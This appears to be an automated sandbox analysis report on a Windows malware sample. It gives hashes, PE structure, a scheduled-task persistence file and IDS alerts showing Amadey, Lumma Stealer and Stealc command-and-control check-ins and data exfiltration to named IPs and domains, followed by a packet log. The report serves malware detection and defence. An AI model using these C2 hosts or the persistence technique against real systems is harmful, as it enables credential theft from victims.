Entropy (8bit):	7.948949453835052
Encrypted:	false
SSDEEP:	49152:jqd/sAHGS9kfngMe2ftXP+4r3Cf0PzkxSMJg:jk/7HGTfne2NP7r3y0Pzz0g
MD5:	29C296C7B8335C9D6EE3215F5484C3E0
SHA1:	C7C6DB3624937DAEA2BA323C832FFCD4028B73A0
SHA-256:	8B277787184B8AC7005DF852203270A0808ACA4B0D54F26E72FA3B1A2C478852
SHA-512:	F7265D74BA90C4CA8ECDC616599B14158661894754DC2D766FC6911611C6ADBBA0B1D93ED07FA5250971253C012C1CBF8ED580D6BB2805D04DEA2B827D3FB493
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................0J...........@.................................W...k.............................I...............................I..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...mjkoefrk.`....0..`..................@...ikspwnpi......I......T..............@....taggant.0....J.."...Z..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\h3yRbjNWk1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\h3yRbjNWk1.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4083010344720677
Encrypted:	false
SSDEEP:	6:QQvtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lOt0:QQxf2RKQ1CGAFAjzvYRQVOt0
MD5:	061528348D11D335066AA5BBA9FC9B9C
SHA1:	774E639D523765B894DDCECD883E38900C6FA3B3
SHA-256:	569145D682C3B11B9DC8D0ACB158B2D051718DFA07FD80A8A185AF2F9AD685A6
SHA-512:	0BDBCC6F505A3CE6FCE1C2839DC77398C7A95B98EC8E3E9BA4FA4385F36BD546133561BEA68D67433EE9BA5B642BC8CB93AA1C39CA64CB6DE69C0DE4DDD3CCA9
Malicious:	false
Preview:	....V.I.'.N..R$.E..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948949453835052
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	h3yRbjNWk1.exe
File size:	1'866'752 bytes
MD5:	29c296c7b8335c9d6ee3215f5484c3e0
SHA1:	c7c6db3624937daea2ba323c832ffcd4028b73a0
SHA256:	8b277787184b8ac7005df852203270a0808aca4b0d54f26e72fa3b1a2c478852
SHA512:	f7265d74ba90c4ca8ecdc616599b14158661894754dc2d766fc6911611c6adbba0b1d93ed07fa5250971253c012c1cbf8ed580d6bb2805d04dea2b827d3fb493
SSDEEP:	49152:jqd/sAHGS9kfngMe2ftXP+4r3Cf0PzkxSMJg:jk/7HGTfne2NP7r3y0Pzz0g
TLSH:	9A8533B80E3756CDC5DDB83E06D7A5433463A5EBE2C95B242129CBEB906A570E0B613C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F97B4B896BAh
cvtps2pd xmm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F97B4B8B6B5h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x49ee14	0x10	mjkoefrk
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x49edc4	0x18	mjkoefrk
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	637bc09cd367baa7872f21cd908511c5	False	0.9979351158038147	DOS executable (COM)	7.978806357998039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	b7d16686b376821266a9345c26b7e6d6	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x29e000	0x200	bd383c02afece318ba455dd056481e8b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mjkoefrk	0x309000	0x196000	0x196000	b8e1fc4b18d24d4ffa2d51817dffc537	False	0.9941899341902709	data	7.953119223352716	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ikspwnpi	0x49f000	0x1000	0x600	cd600ea59b96414eeb06bd066c061196	False	0.572265625	data	4.938779839189892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a0000	0x3000	0x2200	a36b7f51496af4d3583b49223446e2a0	False	0.06146599264705882	DOS executable (COM)	0.6477590556204059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-18T15:04:05.216194+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49782	185.215.113.43	80	TCP
2024-10-18T15:04:08.742049+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49799	185.215.113.103	80	TCP
2024-10-18T15:04:12.736878+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	54579	1.1.1.1	53	UDP
2024-10-18T15:04:12.771233+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	58049	1.1.1.1	53	UDP
2024-10-18T15:04:12.799438+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	58875	1.1.1.1	53	UDP
2024-10-18T15:04:12.826901+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	58232	1.1.1.1	53	UDP
2024-10-18T15:04:12.850988+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	55382	1.1.1.1	53	UDP
2024-10-18T15:04:12.879749+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	64331	1.1.1.1	53	UDP
2024-10-18T15:04:12.922654+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	57941	1.1.1.1	53	UDP
2024-10-18T15:04:12.961949+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	54334	1.1.1.1	53	UDP
2024-10-18T15:04:13.534040+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49793	TCP
2024-10-18T15:04:14.559882+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49825	185.215.113.43	80	TCP
2024-10-18T15:04:14.871000+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49823	104.102.49.254	443	TCP
2024-10-18T15:04:15.570776+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49830	185.215.113.103	80	TCP
2024-10-18T15:04:15.742810+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49833	104.21.53.8	443	TCP
2024-10-18T15:04:15.742810+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49833	104.21.53.8	443	TCP
2024-10-18T15:04:21.686066+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49855	185.215.113.43	80	TCP
2024-10-18T15:04:22.196288+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49856	185.215.113.37	80	TCP
2024-10-18T15:04:25.849709+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49878	185.215.113.43	80	TCP
2024-10-18T15:04:26.812591+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	57439	1.1.1.1	53	UDP
2024-10-18T15:04:26.892322+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	53008	1.1.1.1	53	UDP
2024-10-18T15:04:26.903698+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	55608	1.1.1.1	53	UDP
2024-10-18T15:04:26.917219+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	53913	1.1.1.1	53	UDP
2024-10-18T15:04:26.917971+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49884	185.215.113.103	80	TCP
2024-10-18T15:04:26.929378+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	50684	1.1.1.1	53	UDP
2024-10-18T15:04:26.942370+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	52126	1.1.1.1	53	UDP
2024-10-18T15:04:26.952913+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	50775	1.1.1.1	53	UDP
2024-10-18T15:04:26.969763+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	59545	1.1.1.1	53	UDP
2024-10-18T15:04:28.503264+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49890	104.102.49.254	443	TCP
2024-10-18T15:04:29.292613+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49901	104.21.53.8	443	TCP
2024-10-18T15:04:29.292613+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49901	104.21.53.8	443	TCP
2024-10-18T15:04:30.799149+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49907	104.21.53.8	443	TCP
2024-10-18T15:04:30.799149+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49907	104.21.53.8	443	TCP
2024-10-18T15:04:31.386472+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49913	185.215.113.43	80	TCP
2024-10-18T15:04:35.772698+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	55499	1.1.1.1	53	UDP
2024-10-18T15:04:35.789282+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	53787	1.1.1.1	53	UDP
2024-10-18T15:04:35.801289+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	53570	1.1.1.1	53	UDP
2024-10-18T15:04:35.819276+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	56496	1.1.1.1	53	UDP
2024-10-18T15:04:35.833012+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	58144	1.1.1.1	53	UDP
2024-10-18T15:04:35.848322+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	50607	1.1.1.1	53	UDP
2024-10-18T15:04:35.860283+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	57625	1.1.1.1	53	UDP
2024-10-18T15:04:35.884577+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	52039	1.1.1.1	53	UDP
2024-10-18T15:04:36.664247+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49948	185.215.113.43	80	TCP
2024-10-18T15:04:37.383141+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49949	104.102.49.254	443	TCP
2024-10-18T15:04:37.609418+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49956	185.215.113.16	80	TCP
2024-10-18T15:04:37.609418+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49956	185.215.113.16	80	TCP
2024-10-18T15:04:37.838285+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49953	185.215.113.37	80	TCP
2024-10-18T15:04:38.945746+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49962	104.21.53.8	443	TCP
2024-10-18T15:04:41.635061+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49977	185.215.113.43	80	TCP
2024-10-18T15:04:43.455941+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49988	185.215.113.37	80	TCP
2024-10-18T15:04:44.530893+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	61897	1.1.1.1	53	UDP
2024-10-18T15:04:44.567182+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	53917	1.1.1.1	53	UDP
2024-10-18T15:04:44.583278+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	59869	1.1.1.1	53	UDP
2024-10-18T15:04:44.597383+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	57965	1.1.1.1	53	UDP
2024-10-18T15:04:44.608991+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	56772	1.1.1.1	53	UDP
2024-10-18T15:04:44.644138+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	53116	1.1.1.1	53	UDP
2024-10-18T15:04:44.657610+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	63648	1.1.1.1	53	UDP
2024-10-18T15:04:44.680357+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	63891	1.1.1.1	53	UDP
2024-10-18T15:04:46.234207+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	50001	104.102.49.254	443	TCP
2024-10-18T15:04:47.035663+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50012	104.21.53.8	443	TCP
2024-10-18T15:04:47.035663+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50012	104.21.53.8	443	TCP
2024-10-18T15:04:48.529653+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50018	104.21.53.8	443	TCP
2024-10-18T15:04:48.529653+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50018	104.21.53.8	443	TCP
2024-10-18T15:04:53.162695+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50040	104.21.53.8	443	TCP
2024-10-18T15:04:55.160923+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50044	185.215.113.37	80	TCP
2024-10-18T15:04:57.821474+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50047	104.21.53.8	443	TCP
2024-10-18T15:05:00.543795+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50049	185.215.113.37	80	TCP
2024-10-18T15:05:01.164060+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50050	104.21.53.8	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2024 15:04:04.247474909 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:04.252542973 CEST	80	49782	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:04.252657890 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:04.252863884 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:04.257874012 CEST	80	49782	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:05.215941906 CEST	80	49782	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:05.216193914 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.730012894 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.730365038 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.737770081 CEST	80	49793	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:06.737859964 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.737993002 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.743338108 CEST	80	49782	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:06.743415117 CEST	49782	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:06.746712923 CEST	80	49793	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:07.729924917 CEST	80	49793	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:07.730045080 CEST	49793	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:07.735558987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:07.740920067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:07.741044044 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:07.741192102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:07.753675938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.741904974 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.742048979 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.742362022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.742376089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.742422104 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.743910074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.743921995 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.743976116 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.745898962 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.745910883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.745970011 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.748125076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.748136997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.748171091 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.748213053 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.750092983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.750142097 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.771850109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.771950006 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.866295099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.866403103 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.866776943 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.866791010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.866826057 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.866848946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.869313955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.869328022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.869371891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.871392012 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.871406078 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.871416092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.871439934 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.871462107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.873300076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.873322964 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.873332977 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.873339891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.873378038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.874692917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.874706984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.874716043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.874754906 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.874773979 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.877259970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.877274036 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.877310038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.877342939 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.879955053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.879967928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.879998922 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.880012035 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.884599924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:08.884653091 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:08.886884928 CEST	80	49799	185.215.113.103	192.168.2.4
